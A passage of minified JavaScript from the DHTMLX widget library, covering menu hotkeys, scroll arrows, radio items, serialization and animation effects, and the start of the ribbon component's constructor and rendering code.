l=\"chbx_\"+(a?\"1\":\"0\");var e=l;if(n==\"sibling\"){var c=this.idPrefix+(q!=null?q:this._genStr(24));var m=this.idPrefix+this.getParentId(g);this._addItemIntoGlobalStrorage(c,m,r,\"checkbox\",h,l,e);this.itemPull[c][\"checked\"]=a;this._renderSublevelItem(c,this.getItemPosition(g))}else{var c=this.idPrefix+(q!=null?q:this._genStr(24));var m=this.idPrefix+g;this._addItemIntoGlobalStrorage(c,m,r,\"checkbox\",h,l,e);this.itemPull[c][\"checked\"]=a;if(this.idPull[\"polygon_\"+m]==null){this._renderSublevelPolygon(m,m)}this._renderSublevelItem(c,o-1);this._redefineComplexState(m)}};dhtmlXMenuObject.prototype.setHotKey=function(m,a){m=this.idPrefix+m;if(!(this.itemPull[m]!=null&&this.idPull[m]!=null)){return}if(this.itemPull[m][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){return}if(this.itemPull[m][\"complex\"]){return}var c=this.itemPull[m][\"type\"];if(!(c==\"item\"||c==\"checkbox\"||c==\"radio\")){return}var l=null;try{if(this.idPull[m].childNodes[this.conf.rtl?0:2].childNodes[0].className==\"sub_item_hk\"){l=this.idPull[m].childNodes[this.conf.rtl?0:2].childNodes[0]}}catch(h){}if(a.length==0){this.itemPull[m][\"hotkey_backup\"]=this.itemPull[m][\"hotkey\"];this.itemPull[m][\"hotkey\"]=\"\";if(l!=null){l.parentNode.removeChild(l)}}else{this.itemPull[m][\"hotkey\"]=a;this.itemPull[m][\"hotkey_backup\"]=null;if(l==null){l=document.createElement(\"DIV\");l.className=\"sub_item_hk\";var g=this.idPull[m].childNodes[this.conf.rtl?0:2];while(g.childNodes.length>0){g.removeChild(g.childNodes[0])}g.appendChild(l)}l.innerHTML=a}};dhtmlXMenuObject.prototype.getHotKey=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"hotkey\"]};dhtmlXMenuObject.prototype._clearAllSelectedSubItemsInPolygon=function(a){var e=this._getSubItemToDeselectByPolygon(a);for(var c=0;c<this.conf.opened_poly.length;c++){if(this.conf.opened_poly[c]!=a){this._hidePolygon(this.conf.opened_poly[c])}}for(var c=0;c<e.length;c++){if(this.idPull[e[c]]!=null&&this.itemPull[e[c]][\"state\"]==\"enabled\"){this.idPull[e[c]].className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_Item_Normal\"}}};dhtmlXMenuObject.prototype._checkArrowsState=function(g){var c=this.idPull[\"polygon_\"+g].childNodes[1];var e=this.idPull[\"arrowup_\"+g];var a=this.idPull[\"arrowdown_\"+g];if(c.scrollTop==0){e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"}else{e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp\"+(e.over?\"_Over\":\"\")}if(c.scrollTop+c.offsetHeight<c.scrollHeight){a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown\"+(a.over?\"_Over\":\"\")}else{a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"}c=e=a=null};dhtmlXMenuObject.prototype._addUpArrow=function(g){var c=this;var e=document.createElement(\"DIV\");e.pId=this.idPrefix+g;e.id=\"arrowup_\"+this.idPrefix+g;e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowUp\";e.over=false;e.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.oncontextmenu=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.onmouseover=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler)}c._clearAllSelectedSubItemsInPolygon(this.pId);if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Over\";this.over=true;c._canScrollUp=true;c._doScrollUp(this.pId,true)};e.onmouseout=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler);c.conf.tm_handler=window.setTimeout(function(){c._clearAndHide()},c.conf.tm_sec,\"JavaScript\")}this.over=false;c._canScrollUp=false;if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowUp\";window.clearTimeout(c.conf.of_utm)};e.onclick=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false};var a=this.idPull[\"polygon_\"+this.idPrefix+g];a.childNodes[0].appendChild(e);this.idPull[e.id]=e;a=e=null};dhtmlXMenuObject.prototype._addDownArrow=function(g){var c=this;var e=document.createElement(\"DIV\");e.pId=this.idPrefix+g;e.id=\"arrowdown_\"+this.idPrefix+g;e.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_ArrowDown\";e.over=false;e.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.oncontextmenu=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false};e.onmouseover=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler)}c._clearAllSelectedSubItemsInPolygon(this.pId);if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Over\";this.over=true;c._canScrollDown=true;c._doScrollDown(this.pId,true)};e.onmouseout=function(){if(c.conf.mode==\"web\"){window.clearTimeout(c.conf.tm_handler);c.conf.tm_handler=window.setTimeout(function(){c._clearAndHide()},c.conf.tm_sec,\"JavaScript\")}this.over=false;c._canScrollDown=false;if(this.className==\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown_Disabled\"){return}this.className=\"dhtmlxMenu_\"+c.conf.skin+\"_SubLevelArea_ArrowDown\";window.clearTimeout(c.conf.of_dtm)};e.onclick=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false};var a=this.idPull[\"polygon_\"+this.idPrefix+g];a.childNodes[2].appendChild(e);this.idPull[e.id]=e;a=e=null};dhtmlXMenuObject.prototype._removeUpArrow=function(c){var a=\"arrowup_\"+this.idPrefix+c;this._removeArrow(a)};dhtmlXMenuObject.prototype._removeDownArrow=function(c){var a=\"arrowdown_\"+this.idPrefix+c;this._removeArrow(a)};dhtmlXMenuObject.prototype._removeArrow=function(a){var c=this.idPull[a];c.onselectstart=null;c.oncontextmenu=null;c.onmouseover=null;c.onmouseout=null;c.onclick=null;if(c.parentNode){c.parentNode.removeChild(c)}c=null;this.idPull[a]=null;try{delete this.idPull[a]}catch(g){}};dhtmlXMenuObject.prototype._isArrowExists=function(a){if(this.idPull[\"arrowup_\"+a]!=null&&this.idPull[\"arrowdown_\"+a]!=null){return true}return false};dhtmlXMenuObject.prototype._doScrollUp=function(l,g){var a=this.idPull[\"polygon_\"+l].childNodes[1];if(this._canScrollUp&&a.scrollTop>0){var e=false;var h=a.scrollTop-this.conf.of_ustep;if(h<0){e=true;h=0}a.scrollTop=h;if(!e){var c=this;this.conf.of_utm=window.setTimeout(function(){c._doScrollUp(l,false);c=null},this.conf.of_utime)}else{g=true}}else{this._canScrollUp=false;this._checkArrowsState(l)}if(g){this._checkArrowsState(l)}};dhtmlXMenuObject.prototype._doScrollDown=function(l,g){var a=this.idPull[\"polygon_\"+l].childNodes[1];if(this._canScrollDown&&a.scrollTop+a.offsetHeight<=a.scrollHeight){var e=false;var h=a.scrollTop+this.conf.of_dstep;if(h+a.offsetHeight>=a.scrollHeight){e=true;h=a.scrollHeight-a.offsetHeight}a.scrollTop=h;if(!e){var c=this;this.conf.of_dtm=window.setTimeout(function(){c._doScrollDown(l,false);c=null},this.conf.of_dtime)}else{g=true}}else{this._canScrollDown=false;this._checkArrowsState(l)}if(g){this._checkArrowsState(l)}};dhtmlXMenuObject.prototype._countPolygonItems=function(l){var g=0;for(var c in this.itemPull){var e=this.itemPull[c][\"parent\"];var h=this.itemPull[c][\"type\"];if(e==this.idPrefix+l&&(h==\"item\"||h==\"radio\"||h==\"checkbox\")){g++}}return g};dhtmlXMenuObject.prototype.setOverflowHeight=function(g){if(g===\"auto\"){this.conf.overflow_limit=0;this.conf.auto_overflow=true;return}if(this.conf.overflow_limit==0&&g<=0){return}this._clearAndHide();if(this.conf.overflow_limit>=0&&g>0){this.conf.overflow_limit=g;return}if(this.conf.overflow_limit>0&&g<=0){for(var e in this.itemPull){if(this._isArrowExists(e)){var c=String(e).replace(this.idPrefix,\"\");this._removeUpArrow(c);this._removeDownArrow(c);this.idPull[\"polygon_\"+e].childNodes[1].style.height=\"\"}}this.conf.overflow_limit=0;return}};dhtmlXMenuObject.prototype._getRadioImgObj=function(g){try{var a=this.idPull[this.idPrefix+g].childNodes[(this.conf.rtl?2:0)].childNodes[0]}catch(c){var a=null}return a};dhtmlXMenuObject.prototype._setRadioState=function(g,e){var c=this._getRadioImgObj(g);if(c!=null){var a=this.itemPull[this.idPrefix+g];a.checked=e;a.imgen=\"rdbt_\"+(a.checked?\"1\":\"0\");a.imgdis=a.imgen;c.className=\"sub_icon \"+a.imgen}};dhtmlXMenuObject.prototype._radioOnClickHandler=function(g,a,c){if(a.charAt(1)==\"d\"||this.itemPull[this.idPrefix+g][\"group\"]==null){return}var e=this.itemPull[this.idPrefix+g][\"group\"];if(this.checkEvent(\"onRadioClick\")){if(this.callEvent(\"onRadioClick\",[e,this.getRadioChecked(e),g,this.conf.ctx_zoneid,c])){this.setRadioChecked(e,g)}}else{this.setRadioChecked(e,g)}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[g])}};dhtmlXMenuObject.prototype.getRadioChecked=function(g){var l=null;for(var e=0;e<this.radio[g].length;e++){var h=this.radio[g][e].replace(this.idPrefix,\"\");var a=this._getRadioImgObj(h);if(a!=null){var c=(a.className).match(/rdbt_1$/gi);if(c!=null){l=h}}}return l};dhtmlXMenuObject.prototype.setRadioChecked=function(c,g){if(this.radio[c]==null){return}for(var a=0;a<this.radio[c].length;a++){var e=this.radio[c][a].replace(this.idPrefix,\"\");this._setRadioState(e,(e==g))}};dhtmlXMenuObject.prototype.addRadioButton=function(o,h,q,r,s,u,a,l){if(this.conf.context&&h==this.topId){}else{if(this.itemPull[this.idPrefix+h]==null){return}if(o==\"child\"&&this.itemPull[this.idPrefix+h][\"type\"]!=\"item\"){return}}var e=this.idPrefix+(r!=null?r:this._genStr(24));var m=\"rdbt_\"+(a?\"1\":\"0\");var c=m;if(o==\"sibling\"){var n=this.idPrefix+this.getParentId(h);this._addItemIntoGlobalStrorage(e,n,s,\"radio\",l,m,c);this._renderSublevelItem(e,this.getItemPosition(h))}else{var n=this.idPrefix+h;this._addItemIntoGlobalStrorage(e,n,s,\"radio\",l,m,c);if(this.idPull[\"polygon_\"+n]==null){this._renderSublevelPolygon(n,n)}this._renderSublevelItem(e,q-1);this._redefineComplexState(n)}var g=(u!=null?u:this._genStr(24));this.itemPull[e][\"group\"]=g;if(this.radio[g]==null){this.radio[g]=new Array()}this.radio[g][this.radio[g].length]=e;if(a==true){this.setRadioChecked(g,String(e).replace(this.idPrefix,\"\"))}};dhtmlXMenuObject.prototype.serialize=function(){var a=\"<menu>\"+this._readLevel(this.idPrefix+this.topId)+\"</menu>\";return a};dhtmlXMenuObject.prototype._readLevel=function(g){var h=\"\";for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==g){var c=\"\";var e=\"\";var r=\"\";var n=String(this.itemPull[o][\"id\"]).replace(this.idPrefix,\"\");var m=\"\";var q=(this.itemPull[o][\"title\"]!=\"\"?' text=\"'+this.itemPull[o][\"title\"]+'\"':\"\");var l=\"\";if(this.itemPull[o][\"type\"]==\"item\"){if(this.itemPull[o][\"imgen\"]!=\"\"){c=' img=\"'+this.itemPull[o][\"imgen\"]+'\"'}if(this.itemPull[o][\"imgdis\"]!=\"\"){e=' imgdis=\"'+this.itemPull[o][\"imgdis\"]+'\"'}if(this.itemPull[o][\"hotkey\"]!=\"\"){r=\"<hotkey>\"+this.itemPull[o][\"hotkey\"]+\"</hotkey>\"}}if(this.itemPull[o][\"type\"]==\"separator\"){m=' type=\"separator\"'}else{if(this.itemPull[o][\"state\"]==\"disabled\"){l=' enabled=\"false\"'}}if(this.itemPull[o][\"type\"]==\"checkbox\"){m=' type=\"checkbox\"'+(this.itemPull[o][\"checked\"]?' checked=\"true\"':\"\")}if(this.itemPull[o][\"type\"]==\"radio\"){m=' type=\"radio\" group=\"'+this.itemPull[o][\"group\"]+'\" '+(this.itemPull[o][\"checked\"]?' checked=\"true\"':\"\")}h+=\"<item id='\"+n+\"'\"+q+m+c+e+l+\">\";h+=r;if(this.itemPull[o][\"complex\"]){h+=this._readLevel(o)}h+=\"</item>\"}}return h};dhtmlXMenuObject.prototype.enableEffect=function(e,h,g){this._menuEffect=(e==\"opacity\"||e==\"slide\"||e==\"slide+\"?e:false);this._pOpStyleIE=(navigator.userAgent.search(/MSIE\\s[678]\\.0/gi)>=0);for(var c in this.idPull){if(c.search(/polygon/)===0){this._pOpacityApply(c,(this._pOpStyleIE?100:1));this.idPull[c].style.height=\"\"}}this._pOpMax=(typeof(h)==\"undefined\"?100:h)/(this._pOpStyleIE?1:100);this._pOpStyleName=(this._pOpStyleIE?\"filter\":\"opacity\");this._pOpStyleValue=(this._pOpStyleIE?\"progid:DXImageTransform.Microsoft.Alpha(Opacity=#)\":\"#\");this._pSlSteps=(this._pOpStyleIE?10:20);this._pSlTMTimeMax=g||50};dhtmlXMenuObject.prototype._showPolygonEffect=function(a){this._pShowHide(a,true)};dhtmlXMenuObject.prototype._hidePolygonEffect=function(a){this._pShowHide(a,false)};dhtmlXMenuObject.prototype._pOpacityApply=function(a,c){this.idPull[a].style[this._pOpStyleName]=String(this._pOpStyleValue).replace(\"#\",c||this.idPull[a]._op)};dhtmlXMenuObject.prototype._pShowHide=function(a,c){if(!this.idPull){return}if(this.idPull[a]._tmShow!=null){if((this.idPull[a]._step_h>0&&c==true)||(this.idPull[a]._step_h<0&&c==false)){return}window.clearTimeout(this.idPull[a]._tmShow);this.idPull[a]._tmShow=null;this.idPull[a]._max_h=null}if(c==false&&(this.idPull[a].style.visibility==\"hidden\"||this.idPull[a].style.display==\"none\")){return}if(c==true&&this.idPull[a].style.display==\"none\"){this.idPull[a].style.visibility=\"hidden\";this.idPull[a].style.display=\"\"}if(this.idPull[a]._max_h==null){this.idPull[a]._max_h=parseInt(this.idPull[a].offsetHeight);this.idPull[a]._h=(c==true?0:this.idPull[a]._max_h);this.idPull[a]._step_h=Math.round(this.idPull[a]._max_h/this._pSlSteps)*(c==true?1:-1);if(this.idPull[a]._step_h==0){return}this.idPull[a]._step_tm=Math.round(this._pSlTMTimeMax/this._pSlSteps);if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[a].op_tm=this.idPull[a]._step_tm;this.idPull[a].op_step=(this._pOpMax/this._pSlSteps)*(c==true?1:-1);if(this._pOpStyleIE){this.idPull[a].op_step=Math.round(this.idPull[a].op_step)}this.idPull[a]._op=(c==true?0:this._pOpMax);this._pOpacityApply(a)}else{this.idPull[a]._op=(this._pOpStyleIE?100:1);this._pOpacityApply(a)}if(this._menuEffect.search(/slide/)===0){this.idPull[a].style.height=\"0px\"}this.idPull[a].style.visibility=\"visible\"}this._pEffectSet(a,this.idPull[a]._h+this.idPull[a]._step_h)};dhtmlXMenuObject.prototype._pEffectSet=function(e,c){if(!this.idPull){return}if(this.idPull[e]._tmShow){window.clearTimeout(this.idPull[e]._tmShow)}this.idPull[e]._h=Math.max(0,Math.min(c,this.idPull[e]._max_h));if(this._menuEffect.search(/slide/)===0){this.idPull[e].style.height=this.idPull[e]._h+\"px\"}c+=this.idPull[e]._step_h;if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[e]._op=Math.max(0,Math.min(this._pOpMax,this.idPull[e]._op+this.idPull[e].op_step));this._pOpacityApply(e)}if((this.idPull[e]._step_h>0&&c<=this.idPull[e]._max_h)||(this.idPull[e]._step_h<0&&c>=0)){var a=this;this.idPull[e]._tmShow=window.setTimeout(function(){a._pEffectSet(e,c)},this.idPull[e]._step_tm)}else{if(this._menuEffect.search(/slide/)===0){this.idPull[e].style.height=\"\"}if(this.idPull[e]._step_h<0){this.idPull[e].style.visibility=\"hidden\"}if(this._menuEffect==\"slide+\"||this._menuEffect==\"opacity\"){this.idPull[e]._op=(this.idPull[e]._step_h<0?(this._pOpStyleIE?100:1):this._pOpMax);this._pOpacityApply(e)}this.idPull[e]._tmShow=null;this.idPull[e]._h=null;this.idPull[e]._max_h=null;this.idPull[e]._step_tm=null}};function dhtmlXRibbon(g){var e=this,c,a;this.conf={type:\"ribbon\",icons_path:(g&&g.icons_path)?g.icons_path:\"\",arrows_mode:(g&&g.arrows_mode)?g.arrows_mode:null,skin:\"dhx_skyblue\"};this._eventHandlers={};this._base=null;this._items={};this._tabbar=null;this.childIds=[];if(typeof(g)==\"string\"){a=g}else{if(g&&g.tagName){a=g}else{if(g&&g.parent){if(g.parent.tagName||typeof(g.parent)==\"string\"){a=g.parent}}}}this._doOnHighlight0=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseover)==\"function\"){if(e.items[l.type].mouseover(l,e,n)!=true){return false}}if(!/dhxrb_highlight0/.test(h.className)){h.className+=\" dhxrb_highlight0\"}};this._doOffHighlight0=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseout)==\"function\"){if(e.items[l.type].mouseout(l,e,n)!=true){return false}}if(/dhxrb_highlight1/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight1/,\"\")}if(/dhxrb_highlight0/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight0/,\"\")}};this._doOnHighlight1=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}e.callEvent(\"_showPopup\",[l.id]);if(e.items[l.type]&&typeof(e.items[l.type].mousedown)==\"function\"){if(e.items[l.type].mousedown(l,e,n)!=true){return false}}if(!/dhxrb_highlight1/.test(h.className)){h.className+=\" dhxrb_highlight1\"}};this._doOffHighlight1=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].mouseup)==\"function\"){if(e.items[l.type].mouseup(l,e,n)!=true){return false}}if(/dhxrb_highlight1/.test(h.className)){h.className=h.className.replace(/\\s?dhxrb_highlight1/,\"\")}};this._doOnClick=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].click)==\"function\"){e.items[l.type].click(l,e,n)}};this._doOnFocus=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}e.callEvent(\"_showPopup\",[l.id]);if(e.items[l.type]&&typeof(e.items[l.type].focus)==\"function\"){e.items[l.type].focus(l,e,n)}};this._doOnBlur=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].blur)==\"function\"){e.items[l.type].blur(l,e,n)}};this._doOnChange=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].change)==\"function\"){e.items[l.type].change(l,e,n)}};this._doOnKeydown=function(n){n=n||event;var m=n.target||n.srcElement;var h=e._findItemByNode(m);var l=e._items[h._dhx_ribbonId];if(l.conf.disable){return}if(e.items[l.type]&&typeof(e.items[l.type].keydown)==\"function\"){e.items[l.type].keydown(l,e,n)}};this._tabCustomApi={enable:function(n,m){var l=null,h=null;m=m||false;if(m!=true){l=e._items[this._idd];for(h in l.childIds){h=parseInt(h);e.enable(l.childIds[h])}}return e._tabOriginalApi.enable.apply(this,[n])},disable:function(n,m){var l=null,h=null;if(m!=false){l=e._items[this._idd];for(h in l.childIds){h=parseInt(h);e.disable(l.childIds[h])}}return e._tabOriginalApi.disable.apply(this,[n])},close:function(m){var l=e._items[this._idd],h;e._removeTab(l);e._tabOriginalApi.close.apply(this,[m]);for(h in e._tabOriginalApi){this[h]=null}}};this._attachEventTabbar=function(){this._tabbar.attachEvent(\"onSelect\",function(){return e.callEvent(\"onSelect\",arguments)});this._tabbar.attachEvent(\"onTabClick\",function(){return e.callEvent(\"onTabClick\",arguments)});this._tabbar.attachEvent(\"onTabClose\",function(){return e.callEvent(\"onTabClose\",arguments)})};if(typeof(a)==\"string\"){this._base=document.getElementById(a)}else{if(a&&a.tagName){this._base=a}else{this._base=document.createElement(\"div\");this._base._dhx_remove=true;if(document.body.firstChild){document.body.insertBefore(this._base,document.body.firstChild)}else{document.body.appendChild(this._base)}}}c=dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||dhx4.skinDetect(\"dhtmlxribbon\")||\"dhx_skyblue\";if(typeof(g)==\"object\"&&g.skin){c=g.skin}this.setSkin(c);dhx4._eventable(this);dhx4._enableDataLoading(this,\"_renderData\",\"_xmlToJson\",\"ribbon\",{struct:true});this.attachEvent(\"_onHeightChanged\",function(){this.conf.inited=true});this._base.className+=\" dhxrb_without_tabbar\";this._base.innerHTML=\"<div class='dhxrb_background_area'></div>\";if(g!=null){if(g.json){this.loadStruct(g.json,g.onload)}else{if(g.xml){this.loadStruct(g.xml,g.onload)}else{this._renderData(g)}}}this.unload=function(){var l=null,h=[];for(l in this.childIds){l=parseInt(l);h.push(this.childIds[l])}dhx4._enableDataLoading(this,null,null,null,\"clear\");dhx4._eventable(this,\"clear\");for(l in h){l=parseInt(l);if(this._items[h[l]].type==\"tab\"){this.tabs(h[l]).close(false)}else{this.removeItem(h[l])}}if(this._tabbar){this._tabbar.unload();this._tabbar=null}this._base.innerHTML=\"\";if(this._base._dhx_remove){this._base.parentNode.removeChild(this._base)}else{this._base.className=this._base.className.replace(/\\s?(dhtmlx|dhxrb)(\\S*)/ig,\"\")}for(l in this){this[l]=null}e=null}}dhtmlXRibbon.prototype.setSizes=function(){if(this._tabbar!=null&&typeof(this.setSizes)==\"function\"){this._tabbar.setSizes()}};dhtmlXRibbon.prototype._renderData=function(c){var a=this._base.firstChild;if(c!=null){this.conf.icons_path=c.icons_path||this.conf.icons_path;if(c.tabs instanceof Array){this._base.className=this._base.className.replace(/\\s?dhxrb_without_tabbar/i,\"\");a.className=\"dhxrb_with_tabbar\";this._tabbar=new dhtmlXTabBar(a);this._attachEventTabbar();this._tabbar.setSkin(this.conf.skin);if(this.conf.arrows_mode!=null){this._tabbar.setArrowsMode(this.conf.arrows_mode)}this.childIds=this._appendTabs(c.tabs)}else{if(c.items instanceof Array){if(!/\\s?dhxrb_without_tabbar/i.test(this._base.className)){this._base.className+=\" dhxrb_without_tabbar\"}if(/\\s?dhxrb_background_area/i.test(a.className)){a.className=\"dhxrb_background_area\"}a.innerHTML=\"<div class='dhxrb_g_area'></div>\";this.childIds=this._appendBlocks(c.items,a.firstChild)}}this.callEvent(\"_onHeightChanged\",[])}};dhtmlXRibbon.prototype._xmlToJson=function(c){var a=c.lastChild||null,g={},e=[];if(a&&a.tagName==\"ribbon\"){e=this._convertXmlNodeListIntoObject(a.childNodes)}if(e[0]&&e[0].type&&e[0].type.toLowerCase()==\"block\"){g.items=e}else{g.tabs=e}return g};dhtmlXRibbon.prototype._convertXmlNodeListIntoObject=function(c){var e,a,h=[],g;a=c.length;for(e=0;e<a;e++){g=this._covertXmlNodeToObject(c[e]);if(g){h.push(g)}}return h};dhtmlXRibbon.prototype._covertXmlNodeToObject=function(g){if(!g||!g.tagName||!(g.tagName.toLowerCase()==\"item\"||g.tagName.toLowerCase()==\"tab\")){return null}var e,a,c=g.attributes,h={};a=c.length;for(e=0;e<a;e++){switch(c[e].name){case\"isbig\":h.isbig=dhx4.s2b(c[e].value);break;case\"state\":h.state=dhx4.s2b(c[e].value);break;default:h[c[e].name]=c[e].value}}if(g.childNodes.length){if(g.getAttribute(\"type\")==\"buttonCombo\"||g.getAttribute(\"type\")==\"buttonSelect\"){h.data=g}else{if(g.tagName.toLowerCase()==\"tab\"){h.items=this._convertXmlNodeListIntoObject(g.childNodes)}else{h.list=this._convertXmlNodeListIntoObject(g.childNodes)}}}return h};dhtmlXRibbon.prototype._appendTabs=function(h){var c,a,e,g=[];a=h.length;for(c=0;c<a;c++){e=this._addTab(h[c]);if(h[c].items instanceof Array){e.childIds=this._appendBlocks(h[c].items,e.base,e)}g.push(e.id)}return g};dhtmlXRibbon.prototype._addTab=function(e){var a,g,c={conf:{active:false,text:\"\",width:null,position:null,disable:false},base:document.createElement(\"div\"),type:\"tab\",childIds:[]};for(a in e){if(a==\"items\"){continue}c.conf[a]=e[a]}if(!e.id){c.id=dhx4.newId()}else{c.id=e.id}while(this._items[c.id]){c.id=dhx4.newId()}this._tabbar.addTab(c.id,c.conf.text,c.conf.width,c.conf.position,c.conf.active);c.base.className=\"dhxrb_g_area\";c.base._dhx_ribbonId=c.id;this.tabs(c.id).attachObject(c.base);this._changeApiForTab(this.tabs(c.id));this._items[c.id]=c;return c};dhtmlXRibbon.prototype._changeApiForTab=function(c){var a;for(a in this._tabOriginalApi){this._tabOriginalApi[a]=this._tabOriginalApi[a]||c[a];c[a]=this._tabCustomApi[a]}};dhtmlXRibbon.prototype._tabOriginalApi={enable:null,disable:null,close:null};dhtmlXRibbon.prototype._appendBlocks=function(a,s,e){var m,g,n,h,o,c,r=[];e=e||null;g=a.length;for(m=0;m<g;m++){if(typeof(a[m])==\"object\"&&a[m].type==\"block\"){n=this._addBlock(a[m],s);if(a[m].list&&(a[m].list instanceof Array)){h=a[m].list;o=h.length;for(c=0;c<o;c++){this._addItem(n.id,null,null,h[c])}}if(e!=null){n.parentId=e.id}if(n.conf.disable){this.disable(n.id)}r.push(n.id)}}return r};dhtmlXRibbon.prototype._addBlock=function(h,g){var e,a,m,c;m={conf:{text:\"\",text_pos:\"bottom\",type:\"block\",mode:\"cols\",disable:false},type:\"block\",childIds:[],base:document.createElement(\"div\"),contForItems:document.createElement(\"div\"),contForText:document.createElement(\"div\")};for(c in h){if(c==\"list\"||c==\"type\"||c==\"id\"){continue}m.conf[c]=h[c]}if(!h.id){m.id=dhx4.newId()}else{m.id=h.id}while(this._items[m.id]){m.id=dhx4.newId()}m.base.className=\"dhxrb_block_base\";g.appendChild(m.base);m.contForItems.className=\"dhxrb_block_items\";m.contForText.className=\"dhxrb_block_label\";m.base.appendChild(m.contForItems);if(m.conf.text){m.contForText.innerHTML=m.conf.text;if(m.conf.text_pos==\"top\"){m.base.insertBefore(m.contForText,m.contForItems)}else{m.base.appendChild(m.contForText)}}m.base._dhx_ribbonId=m.id;this._items[m.id]=m;return m};dhtmlXRibbon.prototype._addItem=function(e,c,o,m){var h=this._items[e],a,l,r=null,n=this,g;if(m.type!=\"newLevel\"&&!this.items[m.type]){return null}if(m.type==\"newLevel\"){this._addNewLevel(h)}else{if(h.type==\"group\"){a=document.createElement(\"div\");a.className=\"dhxrb_in_group\";h.base.appendChild(a)}else{if(m.isbig){a=document.createElement(\"div\");a.className=\"dhxrb_big_button\";h.contForItems.appendChild(a)}else{l=this._getContainerForSmallItem(h);a=document.createElement(\"div\");a.className=(h.conf.mode==\"rows\")?\"dhxrb_in_row\":\"dhxrb_3rows_button\";l.appendChild(a)}}}if(a){this._attachEventForItem(a);g={icons_path:m.icons_path||this.conf.icons_path,skin:this.conf.skin};for(var q in m){g[q]=m[q]}if(!g.id){g.id=dhx4.newId()}while(this._items[g.id]){g.id=dhx4.newId()}r=(this.items[g.type]&&this.items[g.type].render)?this.items[g.type].render(a,g):null}if(r!=null){this._items[r.id]=r;r.parentId=h.id;h.childIds.push(r.id);a._dhx_ribbonId=r.id;if(g.onclick&&(typeof(g.onclick)==\"function\")){this._eventHandlers[r.id]=this._eventHandlers[r.id]||{};this._eventHandlers[r.id][\"onclick\"]=g.onclick}r.callEvent=function(){n.callEvent.apply(n,arguments)};r._callHandler=function(){n._callHandler.apply(n,arguments)};if(this.items[g.type]&&typeof(this.items[g.type].callAfterInit)==\"function\"){this.items[g.type].callAfterInit.apply(this,[r])}}return r};dhtmlXRibbon.prototype._callHandler=function(c,a){if(this._eventHandlers[c]&&this._eventHandlers[c].onclick){this._eventHandlers[c].onclick.apply(this,a)}};dhtmlXRibbon.prototype.items={};dhtmlXRibbon.prototype.items.button={render:function(c,a){var e,g;g={base:c,id:a.id,type:a.type,conf:{text:\"\",text_pos:(a.isbig)?\"bottom\":\"right\",img:null,imgdis:null,isbig:false,disable:false,skin:a.skin}};for(e in a){if(e==\"id\"||e==\"onclick\"||e==\"type\"){continue}g.conf[e]=a[e]}c.innerHTML=\"<img class='dhxrb_image\"+((g.conf.img)?\"'\":\" dhxrb_invisible'\")+\" 